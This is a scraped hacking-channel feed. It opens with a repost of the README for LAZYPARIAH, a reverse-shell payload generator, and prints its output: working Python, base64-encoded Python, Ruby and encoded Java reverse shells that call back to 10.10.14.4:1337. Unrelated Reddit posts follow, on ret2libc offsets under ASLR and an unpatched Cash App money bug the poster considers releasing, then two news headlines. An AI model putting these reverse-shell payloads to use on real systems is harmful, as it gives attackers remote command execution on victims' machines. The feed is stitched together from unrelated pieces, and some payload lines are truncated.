Hacking Articles Tips Tricks Videos Tutorials
468 subscribers
65.8K photos
15 videos
157 files
132K links
Exploit
Pentesting
Hacking
Red Team
Blue Team
Kali Linux
Bug Bounty
Black Hat
Cyber security etc

@Hacking_Video
@Hacking_attack
Download Telegram
Compiled payloads (c_binary, java_class and rust_binary) have optional command-line arguments for zlib compression (--gzip), base64-encoding (--b64) and hexadecimal-encoding (--hex). For example, the command lazypariah --b64 java_class 10.10.14.4 1337 should produce the following output: yv66vgAAADcAXwoAHQApBwAqBwArCAAsCgACAC0KAAIALgoAAgAvBwAwCAAxCgAIADIKACMAMwoAIwA0CgAIADMKACMANQoACAA1CgAIADYKACQANwoAJAA4CgAlADkKACUAOgUAAAAAAAAAMgoAOwA8CgAjAD0HAD4KACMAPwoACABABwBBBwBCAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEADVN0YWNrTWFwVGFibGUHAEMHAEQHAEUBAApFeGNlcHRpb25zAQAKU291cmNlRmlsZQEAB3JzLmphdmEMAB4AHwEAGGphdmEvbGFuZy9Qcm9jZXNzQnVpbGRlcgEAEGphdmEvbGFuZy9TdHJpbmcBAAcvYmluL3NoDAAeAEYMAEcASAwASQBKAQAPamF2YS9uZXQvU29ja2V0AQAKMTAuMTAuMTQuNAwAHgBLDABMAE0MAE4ATQwATwBQDABRAFIMAFMAVAwAVQBUDABWAFcMAFgAHwcAWQwAWgBbDABcAFQBABNqYXZhL2xhbmcvRXhjZXB0aW9uDABdAB8MAF4AHwEAAnJzAQAQamF2YS9sYW5nL09iamVjdAEAEWphdmEvbGFuZy9Qcm9jZXNzAQATamF2YS9pby9JbnB1dFN0cmVhbQEAFGphdmEvaW8vT3V0cHV0U3RyZWFtAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEAE3JlZGlyZWN0RXJyb3JTdHJlYW0BAB0oWilMamF2YS9sYW5nL1Byb2Nlc3NCdWlsZGVyOwEABXN0YXJ0AQAVKClMamF2YS9sYW5nL1Byb2Nlc3M7AQAWKExqYXZhL2xhbmcvU3RyaW5nO0kpVgEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBAA5nZXRFcnJvclN0cmVhbQEAD2dldE91dHB1dFN0cm VhbQEAGCgpTGphdmEvaW8vT3V0cHV0U3RyZWFtOwEACGlzQ2xvc2VkAQADKClaAQAJYXZhaWxhYmxlAQADKClJAQAEcmVhZAEABXdyaXRlAQAEKEkpVgEABWZsdXNoAQAQamF2YS9sYW5nL1RocmVhZAEABXNsZWVwAQAEKEopVgEACWV4aXRWYWx1ZQEAB2Rlc3Ryb3kBAAVjbG9zZQAhABwAHQAAAAAAAQABAB4AHwACACAAAAEAAAYACQAAALAqtwABuwACWQS9AANZAxIEU7cABQS2AAa2AAdMuwAIWRIJEQU5twAKTSu2AAtOK7YADDoELLYADToFK7YADjoGLLYADzoHLLYAEJoAXS22ABGeAA8ZBy22ABK2ABOn//AZBLYAEZ4AEBkHGQS2ABK2ABOn/+4ZBbYAEZ4AEBkGGQW2ABK2ABOn/+4ZB7YAFBkGtgAUFAAVuAAXK7YAGFenAAg6CKf/oiu2ABostgAbsQABAJoAnwCiABkAAgAhAAAABgABAAAAAQAiAAAAKgAH/wBGAAgHABwHACMHAAgHACQHACQHACQHACUHACUAAAYSFBRXBwAZBAAmAAAABAABABkAAQAnAAAAAgAo
It is also possible to perform zlib compression on one of the aforementioned compiled payloads before encoding (https://www.kitploit.com/search/label/Encoding) it in either base64 or hexadecimal (https://www.kitploit.com/search/label/Hexadecimal) using the --gzip_b64 and --gzip_hex command-line arguments respectively. For example, the command lazypariah --gzip_hex java_class 10.10.14.4 1337 should produce the following output: 1f8b08003ca25960000375535d57125114dd83335ca0511431a53433b5f00bb42c13cc4ad3c2f0a3200dcd5a03dc741419d7cc50f6577ca8b57cf1b55eb095ab7e403fa6d52fc8ce0549c91aee6cced9779f7bce9939f3fdd7976f0046f0ca8336f430f432f4b9d0ef810303024202c20c832e0c79e0c2750f3a7143c0b0704bd64d6195e096075d181170db836e8c0a8828285f141ac59808b8c3302efeef8a987b0cf719262438c7f4bc6e8f4ba809f62c4a90278d2c97e08deb793e57d84a7333a9a573c4d4266c2db339ab6d977c864986070c53123c533b19be6deb46de22276114cc0c9fd6450833add086f646537109ed125a841dce69f9b5f0826964b8654d14f45c969b12ea4fb612b6a9e7d728389cd6f3616b5d044fab7888472a6298a1d24ada3cb7c30923b3c96d4a3a3418126b38342cd48f55c431ab624ec03c16543cc153150924553c13b0882515cfd1ce9052b18c15152f9094d07852c49f9654aca25dc54b51bfc3b4aa2a9d4f6ff00ca56f38d357e52cdd08c7f2db059b7ae2da96047f859d2fd8a7e8f3c195f8df0f202a5e46a3c9b3ba4949a64cd3302bf2b6e0724ffc7fcf322a41b16ccda4ba9a82ff904545bab3d962225ddd1ab7abea6dae9c50dd48b42cad2aca4b4475572da7824fef50b44bb7267386c5b3a5a95b96e0269d9e2b0f1a 31319a4392d2b6f2d6d46d22e560a942e575ae60ad57bd85e4fab1d2ca71be2d943342e9e63bbabda8e50a620eb3dcb24de31d8932222d3ad04adf9db824fad170d2d776593870c24decc7de03488770a4e4afa849d5f8e4c40114b90867112c7e0857cae76e50460fe099ed2be2dc1c811a91fb8ba88d2864d7459c647b238cb07e17ab034534bc8737c0c8f015d1b87ff4332097b8fa00135699fc11508e49a7b02a242bc21fa0c47e3f9a3ea399ce6f59da872be2da3fda23e70225b9f8894adfc507ec21409d7440f42195babb42d80b768469b8185a193a9930ba2aab9b16a97d7eff124340c655d2cb1417a0fb1ad90e047f03b0d0dc15ad040000

___________________________
@hacking_Attack
@Hacking_Video
Some payloads require the user to specify the file descriptor used by the target for TCP connections. One example of such a payload is php_fd_tags, which is a simple PHP payload enclosed within PHP tags () that targets a specific file descriptor. To specify a target file descriptor, the user must use the command line (https://www.kitploit.com/search/label/Command%20Line) argument -D INTEGER or --fd INTEGER. For example, to generate a php_fd_tags payload that targets file descriptor 5, the following command can be used: lazypariah -D 5 php_fd_tags 10.10.14.4 1337 The resulting payload should be as follows: &5 2>&5");?> Below are some examples of commands and their respective outputs. Output of command lazypariah -P 3 -u python_b64 10.10.14.4 1337: echo%20aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEwLjEwLjE0LjQiLDEzMzcpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTsgb3MuZHVwMihzLmZpbGVubygpLDIpO3A9c3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsIi1pIl0pOw%3D%3D%20%7C%20base64%20-d%20%7C%20python3
Output of command lazypariah -P 2 python_c 10.10.14.4 1337: python2 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.4",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Output of command lazypariah -D 3 php_fd_tags 10.10.14.4 1337: &3 2>&3");?>
Output of command lazypariah ruby 10.10.14.4 1337: require "socket";exit if fork;c=TCPSocket.new("10.10.14.4","1337");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end
Author Copyright (C) 2020-2021 Peter Bruce Funnell License This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed (https://www.kitploit.com/search/label/Distributed) in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see https://www.gnu.org/licenses/ Support If you found this project useful and would like to encourage me to continue making open source software, please consider making a donation via the following link: https://www.buymeacoffee.com/peterfunnell Donations in Bitcoin (BTC) are also very welcome. My BTC wallet address is as follows: 3EdoXV1w8H7y7M9ZdpjRC7GPnX4aouy18g


Download LAZYPARIAH (https://github.com/octetsplicer/LAZYPARIAH)

___________________________
@hacking_Attack
@Hacking_Video
hacking: security in practice
How do I find offsets for ret2libc when ASLR (32bit) is turned on?

Hey everyone, I'm trying to implement a ret2libc attack this time but with ASLR on a 32-bit machine. The 32-bit machine part makes it easier.

From my understanding of the attack, we need to fix a base address and try multiple times until the address is correct. And it won't take many attempts because there isn't much randomization on a 32-bit machine.

So when I run ldd ./vuln | grep libcthe output is as follows:-

$ ldd ./vuln | grep libc
`libc.so.6 => /lib32/libc.so.6 (0xf7d26000)`
$ ldd ./vuln | grep libc
`libc.so.6 => /lib32/libc.so.6 (0xf7db9000)`
$ ldd ./vuln | grep libc
`libc.so.6 => /lib32/libc.so.6 (0xf7d3e000)`
$ ldd ./vuln | grep libc
`libc.so.6 => /lib32/libc.so.6 (0xf7d08000)`
$ ldd ./vuln | grep libc
`libc.so.6 => /lib32/libc.so.6 (0xf7ddf000)`
$ ldd ./vuln | grep libc
`libc.so.6 => /lib32/libc.so.6 (0xf7d42000)`
$ ldd ./vuln | grep libc
`libc.so.6 => /lib32/libc.so.6 (0xf7d21000)`
$ ldd ./vuln | grep libc
`libc.so.6 => /lib32/libc.so.6 (0xf7dc7000)`
So it's pretty clear that only the 2 bits after 'f7d' are changing. So I can pick one address and try multiple times. How do I find the offsets for the system function and the '/bin/sh' argument for a particular base address?

I found this link exploiting an almost similar vulnerability, but the author didn't explain how to get the offsets.

Still, for the system function I tried readelf -s /lib32/libc.so.6 | grep systemand got the output:-

255: 001271a0 102 FUNC GLOBAL DEFAULT 13 svcerr_systemerr@@GLIBC_2.0

654: 0003cf10 55 FUNC GLOBAL DEFAULT 13 __libc_system@@GLIBC_PRIVATE

1513: 0003cf10 55 FUNC WEAK DEFAULT 13 system@@GLIBC_2.0

So, is 0x0003cf10 my offset? And I still I have to find '/bin/sh' which I have no clue about. If you have any links to any helpful writeups please share

submitted by /u/reddotname
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video
hacking: security in practice
where do stock brokers (such as robinhood, tdameritrade, etc) get their pricing data from?

So I've read of some cryptocurrency exchanges having their pricing oracles hacked, allowing someone to buy a cryptocurrency at a lower price or sell at a higher price than the reality is.

I've wondered, why hasn't that happened in the regular stock market?

submitted by /u/Panzercannon03
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video
hacking: security in practice
Shower Thought: Are Inverse Programs a Thing?

I had an interesting thought/ idea in the shower, and am coming to Reddit to learn if it's a thing and discuss with any one who's interested. (I'm also not sure this is the best sub for this, but I can't think of any others.)



I'm not quite sure what to call this idea, so I'm going to just go with inverse programming.

The idea/ question is, once everything is boiled down to just ones and zeros, is here any program or piece of data that when every single bit is flipped (the inverse) it produces something coherent but different from the original piece of information (data/instruction).



I assume this is the basis of simple encryption. Flip bits based on a repeated key of bits.

Is deeper encryption just layers of more keys that flip more bits?

Is it possible to encrypt something in such a way that it appears to be a functioning thing (program, photo, text etc) but when passed through decryption it changes in to a different program, image, text etc.?

Could you effectively hide viruses withing encryption. Say like a booby trap. If someone tries to brute force your encrypted file, and tried the wrong a wrong key, it will decrypt it into something harmful?



Am I a genius? A moron who has no idea what their talking about? Or someone somewhat intelligent who's needlessly reinventing the wheel?

Any thoughts? I assume I'm sure something like this exists, I just couldn't find it. Anyone have a direction to point me in or a keyword to search for more info?

Thanks!

submitted by /u/Agent34e
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video
hacking: security in practice
I submitted a severe vulnerability on the cashapp app but..

So I found a vulnerability on the app that allows you to double your money as well as not spend the amount you doubled.

This allows the user to make money out of thin air.

The damage this can cause is HUGE! If alot of people do it square would lose millions in seconds.

Here is the issue I submitted the bug to square via bugcrowd, after a week of waiting I hear back.

They state the the bug is not applicable.

The bug still works.

I am debating on releasing info in detail about the vulnerability here for everyone to use/learn.

What should I do? Should I keep it to myself, release it or let it be and forget about it.

submitted by /u/yahboyelias
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video
hacking: security in practice
I want to learn more about hacking but I am scared of the community.

Ive just heard bad things. One person claimed that they used to be in a discord server where people would constantly try to dox them. I can imagine that being good practice for defending yourself against threats but I’d rather not have constantly worry about someone trying to figure out where i live. Was this an exaggerated tale or should i actually be weary?

submitted by /u/Dattebayo_Dattebayo
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video
Dark Reading: Attacks/Breaches
Understanding Private 5G LANs in the Enterprise

As the technology matures and costs begin to drop, 5G LAN looks more like a realistic replacement for corporate Wi-Fi networks.
Dark Reading: Attacks/Breaches
Log4j Attacks Continue Unabated Against VMware Horizon Servers

Threat actors are exploiting the vulnerability to drop Web shells and cryptominers, security vendor says.